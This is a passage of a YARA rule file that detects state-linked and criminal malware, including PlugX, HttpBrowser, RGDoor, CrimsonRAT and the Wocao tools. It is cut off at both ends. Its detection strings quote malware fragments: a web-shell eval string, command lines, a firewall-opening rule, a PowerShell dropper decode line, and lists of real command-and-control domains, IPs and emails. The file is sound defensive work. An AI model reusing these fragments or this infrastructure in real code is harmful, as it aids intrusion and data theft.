		hash16 = "2d25c6868c16085c77c58829d538b8f3dbec67485f79a059f24e0dce1e804438"
		hash17 = "2d932d764dd9b91166361d8c023d64a4480b5b587a6087b0ce3d2ac92ead8a7d"
		hash18 = "3556722d9aa37beadfa6ba248a66576f767e04b09b239d3fb0479fa93e0ba3fd"
		hash19 = "365e1d4180e93d7b87ba28ce4369312cbae191151ac23ff4a35f45440cb9be48"
		hash20 = "36c49f18ce3c205152eef82887eb3070e9b111d35a42b534b2fb2ee535b543c0"
		hash21 = "3eeb1fd1f0d8ab33f34183893c7346ddbbf3c19b94ba3602d377fa2e84aaad81"
		hash22 = "3fa8d13b337671323e7fe8b882763ec29b6786c528fa37da773d95a057a69d9a"
		id = "0ba9facb-7385-56ce-9e20-d86261a39cd1"

	strings:
		$s0 = "%d|%s|%04d/%02d/%02d %02d:%02d:%02d|%ld|%d" fullword wide
		$s1 = "HttpBrowser/1.0" fullword wide
		$s2 = "set cmd : %s" ascii fullword
		$s3 = "\\config.ini" wide fullword

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 45KB and filesize > 20KB and all of them
}

rule PlugX_NvSmartMax_Gen
{
	meta:
		description = "Threat Group 3390 APT Sample - PlugX NvSmartMax Generic"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://snip.ly/giNB"
		date = "2015-08-06"
		score = 70
		hash1 = "718fc72942b9b706488575c0296017971170463f6f40fa19b08fc84b79bf0cef"
		hash2 = "1c0379481d17fc80b3330f148f1b87ff613cfd2a6601d97920a0bcd808c718d0"
		hash3 = "555952aa5bcca4fa5ad5a7269fece99b1a04816d104ecd8aefabaa1435f65fa5"
		hash4 = "71f7a9da99b5e3c9520bc2cc73e520598d469be6539b3c243fb435fe02e44338"
		hash5 = "65bbf0bd8c6e1ccdb60cf646d7084e1452cb111d97d21d6e8117b1944f3dc71e"
		id = "5ecd25a8-9717-527f-bb6e-3259b9a60458"

	strings:
		$s0 = "NvSmartMax.dll" fullword ascii
		$s1 = "NvSmartMax.dll.url" fullword ascii
		$s2 = "Nv.exe" fullword ascii
		$s4 = "CryptProtectMemory failed" fullword ascii
		$s5 = "CryptUnprotectMemory failed" fullword ascii
		$s7 = "r%.*s(%d)%s" fullword wide
		$s8 = " %s CRC " fullword wide
		$op0 = { c6 05 26 49 42 00 01 eb 4a 8d 85 00 f8 ff ff 50 }
		$op1 = { 8d 85 c8 fe ff ff 50 8d 45 c8 50 c6 45 47 00 e8 }
		$op2 = { e8 e6 65 00 00 50 68 10 43 41 00 e8 56 84 00 00 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and all of ( $s* ) and 1 of ( $op* )
}

rule HttpBrowser_RAT_dropper_Gen2
{
	meta:
		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Dropper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://snip.ly/giNB"
		date = "2015-08-06"
		score = 70
		hash1 = "c57c5a2c322af2835ae136b75283eaaeeaa6aa911340470182a9983ae47b8992"
		hash2 = "dfa984174268a9f364d856fd47cfaca75804640f849624d69d81fcaca2b57166"
		id = "cd559642-a102-5946-8a7f-16c10e7f746d"

	strings:
		$s1 = "navlu.dll.urlUT" fullword ascii
		$s2 = "VPDN_LU.exeUT" fullword ascii
		$s3 = "pnipcn.dllUT" fullword ascii
		$s4 = "\\ssonsvr.exe" ascii
		$s5 = "/c del /q %s" fullword ascii
		$s6 = "\\setup.exe" ascii
		$s7 = "msi.dllUT" fullword ascii
		$op0 = { 8b 45 0c 83 38 00 0f 84 98 }
		$op1 = { e8 dd 07 00 00 ff 35 d8 fb 40 00 8b 35 7c a0 40 }
		$op2 = { 83 fb 08 75 2c 8b 0d f8 af 40 00 89 4d dc 8b 0d }
		$op3 = { c7 43 18 8c 69 40 00 e9 da 01 00 00 83 7d f0 00 }
		$op4 = { 6a 01 e9 7c f8 ff ff bf 1a 40 00 96 1b 40 00 01 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and 3 of ( $s* ) and 1 of ( $op* )
}

rule ThreatGroup3390_Strings
{
	meta:
		description = "Threat Group 3390 APT - Strings"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://snip.ly/giNB"
		date = "2015-08-06"
		score = 60
		id = "9a44393b-5220-5376-ba18-2330f4623cd6"

	strings:
		$s1 = "\"cmd\" /c cd /d \"c:\\Windows\\Temp\\\"&copy" ascii
		$s2 = "svchost.exe a -k -r -s -m5 -v1024000 -padmin-windows2014"
		$s3 = "ren *.rar *.zip" fullword ascii
		$s4 = "c:\\temp\\ipcan.exe" fullword ascii
		$s5 = "<%eval(Request.Item(\"admin-na-google123!@#" ascii

	condition:
		1 of them and filesize < 30KB
}

rule ThreatGroup3390_C2
{
	meta:
		description = "Threat Group 3390 APT - C2 Server"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://snip.ly/giNB"
		date = "2015-08-06"
		score = 60
		id = "232b5052-e349-55f1-bd7e-1afc5d35abe4"

	strings:
		$s1 = "api.apigmail.com"
		$s2 = "apigmail.com"
		$s3 = "backup.darkhero.org"
		$s4 = "bel.updatawindows.com"
		$s5 = "binary.update-onlines.org"
		$s6 = "blackcmd.com"
		$s7 = "castle.blackcmd.com"
		$s8 = "ctcb.blackcmd.com"
		$s9 = "darkhero.org"
		$s10 = "dav.local-test.com"
		$s11 = "test.local-test.com"
		$s12 = "dev.local-test.com"
		$s13 = "ocean.local-test.com"
		$s14 = "ga.blackcmd.com"
		$s15 = "helpdesk.blackcmd.com"
		$s16 = "helpdesk.csc-na.com"
		$s17 = "helpdesk.hotmail-onlines.com"
		$s18 = "helpdesk.lnip.org"
		$s19 = "hotmail-onlines.com"
		$s20 = "jobs.hotmail-onlines.com"
		$s21 = "justufogame.com"
		$s22 = "lnip.org"
		$s23 = "local-test.com"
		$s24 = "login.hansoftupdate.com"
		$s25 = "long.update-onlines.org"
		$s26 = "longlong.update-onlines.org"
		$s27 = "longshadow.dyndns.org"
		$s28 = "longshadow.update-onlines.org"
		$s29 = "longykcai.update-onlines.org"
		$s30 = "lostself.update-onlines.org"
		$s31 = "mac.navydocument.com"
		$s32 = "mail.csc-na.com"
		$s33 = "mantech.updatawindows.com"
		$s34 = "micr0soft.org"
		$s35 = "microsoft-outlook.org"
		$s36 = "mtc.navydocument.com"
		$s37 = "navydocument.com"
		$s38 = "mtc.update-onlines.org"
		$s39 = "news.hotmail-onlines.com"
		$s40 = "oac.3322.org"
		$s41 = "ocean.apigmail.com"
		$s42 = "pchomeserver.com"
		$s43 = "registre.organiccrap.com"
		$s44 = "security.pomsys.org"
		$s45 = "services.darkhero.org"
		$s46 = "sgl.updatawindows.com"
		$s47 = "shadow.update-onlines.org"
		$s48 = "sonoco.blackcmd.com"
		$s49 = "test.logmastre.com"
		$s50 = "up.gtalklite.com"
		$s51 = "updatawindows.com"
		$s52 = "update-onlines.org"
		$s53 = "update.deepsoftupdate.com"
		$s54 = "update.hancominc.com"
		$s55 = "update.micr0soft.org"
		$s56 = "update.pchomeserver.com"
		$s57 = "urs.blackcmd.com"
		$s58 = "wang.darkhero.org"
		$s59 = "webs.local-test.com"
		$s60 = "word.apigmail.com"
		$s61 = "wordpress.blackcmd.com"
		$s62 = "working.blackcmd.com"
		$s63 = "working.darkhero.org"
		$s64 = "working.hotmail-onlines.com"
		$s65 = "www.trendmicro-update.org"
		$s66 = "www.update-onlines.org"
		$s67 = "x.apigmail.com"
		$s68 = "ykcai.update-onlines.org"
		$s69 = "ykcailostself.dyndns-free.com"
		$s70 = "ykcainobody.dyndns.org"
		$s71 = "zj.blackcmd.com"
		$s72 = "laxness-lab.com"
		$s73 = "google-ana1ytics.com"
		$s74 = "www.google-ana1ytics.com"
		$s75 = "ftp.google-ana1ytics.com"
		$s76 = "hotmailcontact.net"
		$s77 = "208.115.242.36"
		$s78 = "208.115.242.37"
		$s79 = "208.115.242.38"
		$s80 = "66.63.178.142"
		$s81 = "72.11.148.220"
		$s82 = "72.11.141.133"
		$s83 = "74.63.195.236"
		$s84 = "74.63.195.236"
		$s85 = "74.63.195.237"
		$s86 = "74.63.195.238"
		$s87 = "103.24.0.142"
		$s88 = "103.24.1.54"
		$s89 = "106.187.45.162"
		$s90 = "192.151.236.138"
		$s91 = "192.161.61.19"
		$s92 = "192.161.61.20"
		$s93 = "192.161.61.22"
		$s94 = "103.24.1.54"
		$s95 = "67.215.232.179"
		$s96 = "96.44.177.195"
		$s97 = "49.143.192.221"
		$s98 = "67.215.232.181"
		$s99 = "67.215.232.182"
		$s100 = "96.44.182.243"
		$s101 = "96.44.182.245"
		$s102 = "96.44.182.246"
		$s103 = "49.143.205.30"
		$s104 = "working_success@163.com"
		$s105 = "ykcaihyl@163.com"
		$s106 = "working_success@163.com"
		$s107 = "yuming@yinsibaohu.aliyun.com"

	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule ATM_Malware_JavaDispCash
{
	meta:
		description = "Detects ATM Malware JavaDispCash"
		author = "Frank Boldewin (@r3c0nst)"
		reference = "https://twitter.com/r3c0nst/status/1111254169623674882"
		date = "2019-03-28"
		hash1 = "0149667c0f8cbfc216ef9d1f3154643cbbf6940e6f24a09c92a82dd7370a5027"
		hash2 = "ef407db8c79033027858364fd7a04eeb70cf37b7c3a10069a92bae96da88dfaa"
		id = "7aa91719-6539-572a-8618-bfb5290a5b59"

	strings:
		$CashInfo = "getNumberOfCashUnits" ascii wide
		$Dispense = "waitforbillstaken" ascii wide
		$Inject = "No code to inject!" ascii wide
		$config = ".Agentcli" ascii wide
		$log1 = "logft.log" ascii wide
		$log2 = ".loginside" ascii wide

	condition:
		uint16( 0 ) == 0x4B50 and filesize < 500KB and all of them
}

import "pe"

rule OilRig_RGDoor_Gen1
{
	meta:
		description = "Detects RGDoor backdoor used by OilRig group"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"
		date = "2018-01-27"
		score = 80
		hash1 = "a9c92b29ee05c1522715c7a2f9c543740b60e36373cb47b5620b1f3d8ad96bfa"
		id = "68ac1f35-4eaa-5899-b66c-296d7c5fa462"

	strings:
		$c1 = { 00 63 6D 64 24 00 00 00 00 72 00 00 00 00 00 00 00 75 70 6C 6F
              61 64 24 }
		$c2 = { 63 61 6E 27 74 20 6F 70 65 6E 20 66 69 6C 65 3A 20 00 00 00 00
              00 00 00 64 6F 77 6E 6C 6F 61 64 24 }
		$s1 = "MyNativeModule.dll" fullword ascii
		$s2 = "RGSESSIONID=" fullword ascii
		$s3 = "download$" fullword ascii
		$s4 = ".?AVCHelloWorld@@" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and ( pe.imphash ( ) == "47cb127aad6c7c9954058e61a2a6429a" or 1 of ( $c* ) or 2 of them )
}

rule SUSP_DeviceGuard_WDS_Evasion
{
	meta:
		author = "Florian Roth (Nextron Systems)"
		description = "Detects WDS file used to circumvent Device Guard"
		score = 70
		date = "2015-01-01"
		modified = "2023-01-06"
		reference = "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html"
		id = "469b60d4-43d3-5a85-aa51-e453d8c858c0"

	strings:
		$s1 = "r @$ip=@$t0" ascii
		$s2 = ";eb @$t0+" ascii
		$s3 = ".foreach /pS" ascii

	condition:
		filesize < 50KB and all of them
}

rule MAL_crime_win32_rat_parallax_shell_bin
{
	meta:
		description = "Detects Parallax injected code"
		author = "@VK_Intel"
		reference = "https://twitter.com/VK_Intel/status/1257714191902937088"
		tlp = "white"
		date = "2020-05-05"
		id = "6bb337ef-3156-589a-9b2f-fa1b21699433"

	strings:
		$ntdll_load = {55 8b ec 81 ec d0 08 00 00 53 56 57 e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 33 c0 b9 18 01 00 00 f3 ?? 68 02 9f e6 6a e8 ?? ?? ?? ?? 8b d8 68 40 5e c0 84 89 ?? ?? e8 ?? ?? ?? ?? 6a 00 8b f0 68 0b 1c 64 72 53 89 ?? ?? e8 ?? ?? ?? ?? 83 c4 14 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 68 30 02 00 00 51 ff d0 6a 6e 58 6a 74 66 ?? ?? ?? ?? ?? ?? 58 6a 64 59 6a 6c 66 ?? ?? ?? ?? ?? ?? 58 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 33 c0 6a 2e}
		$call_func = {81 ec bc 00 00 00 8d ?? ?? 56 50 6a 00 6a 01 ff ?? ?? e8 ?? ?? ?? ?? 8b f0 83 c4 10 85 f6 0f ?? ?? ?? ?? ?? 33 c9 89 ?? ?? 39 ?? ?? 0f ?? ?? ?? ?? ?? 8b ?? ?? 53 57 8b ?? ?? 8d ?? ?? 0f ?? ?? ?? 8b ?? ?? 8d ?? ?? 8b ?? ?? 03 fa 8b df 2b da 03 ?? ?? 80 ?? ?? 0f ?? ?? ?? ?? ?? 83 ?? ?? ?? 8b c7 83 ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 99 89 ?? ?? 8b ca 89 ?? ?? 8d ?? ?? 99 89 ?? ?? 89 ?? ?? 8d ?? ?? 89 ?? ?? 89 ?? ?? 8b ca 99 89 ?? ?? 89 ?? ?? 8b ca 89 ?? ?? 89 ?? ?? 8d ?? ?? 6a 40 89 ?? ??}
		$cryp_hex = {8b ec 8b ?? ?? 25 55 55 55 55 d1 e0 8b ?? ?? d1 e9 81 e1 55 55 55 55 0b c1 89 ?? ?? 8b ?? ?? 81 e2 33 33 33 33 c1 e2 02 8b ?? ?? c1 e8 02 25 33 33 33 33 0b d0 89 ?? ?? 8b ?? ?? 81 e1 0f 0f 0f 0f c1 e1 04 8b ?? ?? c1 ea 04 81 e2 0f 0f 0f 0f 0b ca 89 ?? ?? 8b ?? ?? c1 e0 18 8b ?? ?? 81 e1 00 ff 00 00 c1 e1 08 0b c1 8b ?? ?? c1 ea 08 81 e2 00 ff 00 00 0b c2 8b ?? ?? c1 e9 18 0b c1 89 ?? ?? 8b ?? ?? 5d c3}

	condition:
		uint16( 0 ) == 0x5a4d and 2 of them or all of them
}

rule CrimsonRAT_Mar18_1
{
	meta:
		description = "Detects CrimsonRAT malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-03-06"
		hash1 = "acf2e8013b6fafcf436d5a05049896504ffa2e982bca05155d19981d1931c611"
		hash2 = "7ca6e5ef1d346ec35993c910128a3526b098a07445131784a9358bf5679e3975"
		hash3 = "be4264973de9886caedae1cb707586588d0da85ac7a2ad277db4258033ea12a8"
		hash4 = "acf2e8013b6fafcf436d5a05049896504ffa2e982bca05155d19981d1931c611"
		hash5 = "ff52b4a64ed7caeab00350e493968dbdb159aeb545fcba67d83ab9b158464de4"
		id = "af21876c-f99d-5307-abba-02c57ee93df0"

	strings:
		$x1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|" wide
		$x2 = "\\Release\\RTLBot.pdb" ascii
		$x3 = "cmd.exe/c systeminfo >> 1.txt" fullword wide
		$x4 = "/online >> Get online target with important info" fullword wide
		$x5 = "/screen >> ScreenShot from target PC" fullword wide
		$x6 = "/restart >> Restart Target PC" fullword wide
		$x7 = "/log_key >> Get log key file" fullword wide
		$a1 = "get_ShiftKey" fullword ascii
		$a2 = "get_ControlKey" fullword ascii
		$a3 = "get_AltKey" fullword ascii
		$a4 = "get_MineInterval" fullword ascii
		$fp1 = "Copyright Software Secure" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and ( 1 of ( $x* ) or all of ( $a* ) ) and not 1 of ( $fp* )
}

rule APT_MAL_CN_Wocao_Agent_Csharp
{
	meta:
		description = "Strings from CSharp version of Agent"
		author = "Fox-IT SRT"
		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
		id = "e5212226-a82d-558d-abb4-43ad7848764e"

	strings:
		$a = "mysend(client_sock, new byte[] { 0x16, 0x00 }, 2);" ascii wide
		$b = "Dns.GetHostAddresses(sip.Remove(sip.Length - 1));" ascii wide
		$c = "Port = 256 * buf[4] + buf[5];" ascii wide
		$d = "Port = 256 * buf[AddrLen] + buf[AddrLen + 1];" ascii wide
		$e = "StartTransData(CliSock" ascii wide
		$f = "static void ForwardTransmit(object ft_data)" ascii wide
		$key = "0x4c, 0x1b, 0x68, 0x0b, 0x6a, 0x18, 0x09, 0x41, 0x5a, 0x36, 0x1f, 0x56, 0x26, 0x2a, 0x03, 0x44, 0x7d, 0x5f, 0x03, 0x7b, 0x07, 0x6e, 0x03, 0x77, 0x30, 0x70, 0x52, 0x42, 0x53, 0x67, 0x0a, 0x2a" ascii wide
		$key_raw = { 4c1b680b6a1809415a361f56262a03447d5f037b076e03773070524253670a2a }

	condition:
		1 of them
}

rule APT_MAL_CN_Wocao_agent_powershell_dropper
{
	meta:
		description = "Strings from PowerShell dropper of CSharp version of Agent"
		author = "Fox-IT SRT"
		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
		id = "833ce607-56a9-5580-bbd1-e72392945fec"

	strings:
		$a = "function format([string]$source)"
		$b = "foreach($c in $bb){$tt = $tt + [char]($c -bxor"
		$c = "[agent]::Main($args);"

	condition:
		1 of them
}

rule APT_MAL_CN_Wocao_agent_powershell_b64encoded
{
	meta:
		description = "Piece of Base64 encoded data from Agent CSharp version"
		author = "Fox-IT SRT"
		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
		id = "14e1702d-6229-5989-8bb7-cc9c0c321676"

	strings:
		$header = "LFNVT0hBBnVfVVJDSx0sU1VPSEEGdV9VUkNLCG9pHSxTVU9IQQZ1X1VSQ0sIZUlK"

	condition:
		all of them
}

rule APT_MAL_CN_Wocao_agent_py
{
	meta:
		description = "Strings from Python version of Agent"
		author = "Fox-IT SRT"
		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
		id = "ca30dd6a-b596-54ab-b4f0-50e6b1382f73"

	strings:
		$a = "vpshex.decode"
		$b = "self._newsock.recv"
		$c = "Rsock.connect"
		$d = /MAX_DATALEN\s?=\s?10240/
		$e = /LISTEN_MAXCOUNT\s?=\s?80/
		$f = "ListenSock.listen(LISTEN_MAXCOUNT)"
		$g = "nextsock.send(head)"
		$h = "elif transnode"
		$i = "infobuf[4:6]"
		$key = "L\\x1bh\\x0bj\\x18\\tAZ6\\x1fV&*\\x03D}_\\x03{\\x07n\\x03w0pRBSg\\n*"

	condition:
		1 of them
}

rule APT_MAL_CN_Wocao_agent_py_b64encoded
{
	meta:
		description = "Piece of Base64 encoded data from Agent Python version"
		author = "Fox-IT SRT"
		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
		id = "eb2701e9-4358-5d24-bfcd-b4dde24f13bf"

	strings:
		$header = "QlpoOTFBWSZTWWDdHjgABDTfgHwQe////z/v/9+////6YA4cGPsAl2e8M9LSU128"

	condition:
		all of them
}

rule APT_MAL_CN_Wocao_keylogger_py
{
	meta:
		description = "Strings from Python keylogger"
		author = "Fox-IT SRT"
		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
		id = "f7b5ec1b-669e-5e7d-a9d3-011d212eb363"

	strings:
		$a = "c:\\windows\\temp\\tap.tmp"
		$b = "c:\\windows\\temp\\mrteeh.tmp"
		$c = "GenFileName"
		$d = "outfile"
		$e = "[PASTE:%d]"

	condition:
		3 of them
}

rule APT_MAL_CN_Wocao_keylogger_file
{
	meta:
		description = "Rule for finding keylogger output files"
		author = "Fox-IT SRT"
		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
		id = "22e866b3-4b02-593a-b9a6-aa86870b6509"

	strings:
		$a = { 0d 0a 20 [3-10] 53 74 61 72 74 75 70 3a 20 [3] 20 [3] 20 [2] 20 [2] 3a [2] 3a [2] 20 }

	condition:
		all of them
}

rule APT_MAL_CN_Wocao_xserver_csharp
{
	meta:
		description = "Strings from the CSharp version of XServer"
		author = "Fox-IT SRT"
		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
		id = "48f4c88d-fb56-54ca-84e2-38f88804a50f"

	strings:
		$a = "static void ServerX(int ListenPort)" ascii wide
		$b = "public class xserver" ascii wide
		$c = "[xserver]::Main($args);" ascii wide
		$d = "add rule name=powershell dir=in localport=47000 action=allow" ascii wide
		$e = "string TempFile = file_path + \".CT\";" ascii wide
		$f = "Port = 256 * RecvBuf[AddrLen + 5] + RecvBuf[AddrLen + 6];"
		$g = "CliSock.Send(new byte[] { 0x05, 0x00 });"

	condition:
		1 of them
}

rule APT_MAL_CN_Wocao_xserver_powershell_b64encoded
{
	meta:
		description = "Piece of Base64 encoded data from the XServer PowerShell dropper"
		author = "Fox-IT SRT"
		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
		id = "01e38cfb-b245-5398-b037-6d1d2fb726ee"

	strings:
		$header_47000 = "5T39c9u2kr/nr2A0Ny2VKIzkfLRJntuJHafPN/nwWG777rUZDy3BNq8UqSEpx26b"
		$header_25667 = "5T1rc9u2st/zKxjNmZZKFEZyErdJ6nZsx+nxnTjxWGp77mkzHlqCbd5SpIak/Gjr"

	condition:
		any of them
}

rule APT_MAL_CN_Wocao_xserver_powershell_dropper
{
	meta:
		description = "Strings from the PowerShell dropper of XServer"
		author = "Fox-IT SRT"
		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
		id = "97169ab4-d68d-5137-83de-d9cac975747e"

	strings:
		$encfile = "New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($encfile)"

	condition:
		all of them
}

rule APT_MAL_CN_Wocao_injector_bin
{
	meta:
		description = "Process injector/launcher"
		author = "Fox-IT SRT"
		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
		id = "389279f1-6531-594f-97b6-5adbc8fa4d3d"

	strings:
		$a = "%s{%04d-%02d%02d-%02d%02d-%d%ld}.tmp"
		$b = "s% > s% c/ exe.d"
		$c = {
            48 89 5C 24 08 48 89 74  24 10 57 48 83 EC 50 48
            8B 71 08 48 8D 59 10 48  8B F9 48 8B CB FF 17 33
            C9 48 8D 47 78 48 89 44  24 48 4C 8D 87 9C 03 00
            00 48 89 5C 24 40 48 8D  97 90 00 00 00 4C 89 44
            24 38 45 33 C9 48 89 4C  24 30 45 33 C0 89 4C 24
            28 C7 44 24 20 01 00 00  00 66 89 4B 40 FF D6 48
            8B 5C 24 60 33 C0 48 8B  74 24 68 48 83 C4 50 5F
            C3
        }

	condition:
		1 of them
}

rule APT_MAL_CN_Wocao_timeliner_bin
{
	meta:
		description = "Timeliner utility"
		author = "Fox-IT SRT"
		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
		id = "3d81a4ae-0ce0-5867-ac93-a706556481b6"

	strings:
		$a = "[+] Work completed." ascii wide
		$b = "[-] Create a new file failed." ascii wide
		$c = "[-] This is not a correct path." ascii wide
		$d = "%s [TargetPath] <Num> <SavePath>" ascii wide
		$e = "D\t%ld\t%ld\t%ld\t%d\t%d\t%s\t" ascii wide
		$f = "D\t%ld\t%ld\t%ld\t-1\t%d\t%s\t" ascii wide
		$g = "%s\t%ld\t%ld\t%ld\t%I64d\t%d\t%s\t%s" ascii wide

	condition:
		1 of them
}

rule APT_MAL_CN_Wocao_checkadmin_bin
{
	meta:
		description = "Checkadmin utility"
		author = "Fox-IT SRT"
		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
		id = "2f819213-ade1-525b-af18-d77b7fc96093"

	strings:
		$a = "[-] %s * A system error has occurred: %d" ascii wide
		$b = {
            0D 00 0A 00 25 00 6C 00 64 00 20 00 72 00 65 00
            73 00 75 00 6C 00 74 00 73 00 2E 00 0D 00 0A 00
        }
		$c = "%s\t<Access denied>" ascii wide

	condition:
		1 of them
}

rule APT_MAL_CN_Wocao_getos_py
{
	meta:
		description = "Python getos utility"
		author = "Fox-IT SRT"
		reference = "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/"
		id = "4a731dde-87e4-566a-b559-d23e0bef5841"

	strings:
		$smb_1 = {
            00 00 00 85 ff 53 4d 42 72 00 00 00 00 18 53 c8
            00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe
            00 00 ff b4 00 62 00 02 50 43 20 4e 45 54 57 4f
            52 4b 20 50 52 4f 47 52 41 4d 20 31 2e 30 00 02
            4c 41 4e 4d 41 4e 31 2e 30 00 02 57 69 6e 64 6f
            77 73 20 66 6f 72 20 57 6f 72 6b 67 72 6f 75 70
            73 20 33 2e 31 61 00 02 4c 4d 31 2e 32 58 30 30
            32 00 02 4c 41 4e 4d 41 4e 32 2e 31 00 02 4e 54
            20 4c 4d 20 30 2e 31 32 00
        }
		$smb_2 = {
            00 00 00 c8 ff 53 4d 42 73 00 00 00 00 18 03 c8
            00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe
            00 00 3f b5 0c ff 00 c8 00 04 11 32 00 00 00 00
            00 00 00 28 00 00 00 00 00 d4 00 00 a0 8d 00 4e
            54 4c 4d 53 53 50 00 01 00 00 00 07 82 88 a2 00
            00 00 00 28 00 00 00 00 00 00 00 28 00 00 00 05
            01 28 0a 00 00 00 0f 00 00 00 00 00 00 00 00 00
            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
            00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
            00 00 00 00 00 00 00 00 00 00 00 00
        }
		$smbstr_1 = "\\x00\\x00\\x00\\x85\\xffSMBr\\x00\\x00\\x00\\x00\\x18S\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00\\xff\\xb4\\x00b\\x00\\x02PC NETWORK PROGRAM 1.0\\x00\\x02LANMAN1.0\\x00\\x02Windows for Workgroups 3.1a\\x00\\x02LM1.2X002\\x00\\x02LANMAN2.1\\x00\\x02NT LM 0.12\\x00"
		$smbstr_2 = "\\x00\\x00\\x00\\xc8\\xffSMBs\\x00\\x00\\x00\\x00\\x18\\x03\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xfe\\x00\\x00?\\xb5\\x0c\\xff\\x00\\xc8\\x00\\x04\\x112\\x00\\x00\\x00\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00\\x00\\xd4\\x00\\x00\\xa0\\x8d\\x00NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x07\\x82\\x88\\xa2\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x05\\x01(\\n\\x00\\x00\\x00\\x0f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
		$code_1 = "return 'Other error.'" ascii wide
		$code_2 = "sblob = buf[47:47 + sbl]" ascii wide
		$code_3 = "re.split('[\\x00-,]+', y[-4])" ascii wide
		$code_4 = "('').join(sblob[off:off + hlen].split('\\x00'))" ascii wide
		$code_5 = "banner = '%s    %s' % (hostname, native)" ascii wide
		$code_6 = "banner = '%s\\\\%s    %s' % (dm, hostname, native)" ascii wide
		$tsk_1 = "PushTask" ascii wide
		$tsk_2 = "parse_task" ascii wide
		$tsk_3 = "commit_task" ascii wide
